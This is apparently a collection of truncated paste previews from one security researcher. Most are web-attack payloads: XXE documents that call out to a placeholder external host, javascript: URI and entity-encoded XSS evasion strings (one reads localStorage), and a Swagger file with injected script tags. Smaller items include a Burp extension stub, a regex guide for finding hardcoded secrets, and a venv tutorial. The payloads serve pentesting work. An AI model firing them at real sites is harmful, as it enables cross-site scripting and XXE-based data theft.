mrrootsec

from threading import Thread
import time

class TrafficMagnet(burp.IProxyListener):
    def __init__(self):
        callbacks.registerProxyListener(self)
        self._helpers = callbacks.getHelpers()
        self._callbacks = callbacks
        

mrrootsec

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

mrrootsec

0
00
01
02
03
1
1.0
10
100
1000

mrrootsec

Links:

[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')

Images:

mrrootsec

Useful Regex Patterns to Find Vulnerabilities in Java Code

1. Hardcoded Credentials / Secrets

These patterns look for sensitive information directly embedded in the code.

• Generic Passwords / Secrets / Tokens:

  • Regex:

mrrootsec

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]

mrrootsec

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)

mrrootsec

(function(){
  // http://coding.smashingmagazine.com/2010/05/23/make-your-own-bookmarklets-with-jquery/
	// http://subsimple.com/bookmarklets/jsbuilder.htm

	if(window.jQuery === undefined) {
		var script = document.createElement("script");
		script.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js";
		script.onload = script.onreadystatechange = function() {
			bookmarklet();
		};

mrrootsec

Python Virtual Environment Tutorial

• How to start Python Development with Python Environment
  • 1. Install python3-venv or python3.x-venv
  • 2. To create a virtual environment, decide which directory where you want to place it
  • 3. Run venv module as a script in your chosen directory path
  • 4. Activate your virtual environment
  • 5. You can start installing your packages
    • 1. Installing a package:
• 2. Installing a package using specific version

mrrootsec

{
  "swagger" : "2.0",
  "info" : {
    "version" : "1.0.100",
    "title" : "title<script language=\"javascript\">alert('1')</script>",
    "description" : "description with **markdown** format <script language=\"javascript\">alert('script-in-description')</script> <img src=x onerror=alert(\"img-in-description\")>"
  },
  "tags" : [ {
    "name" : "Admin",
    "description" : "tag with **markdown**"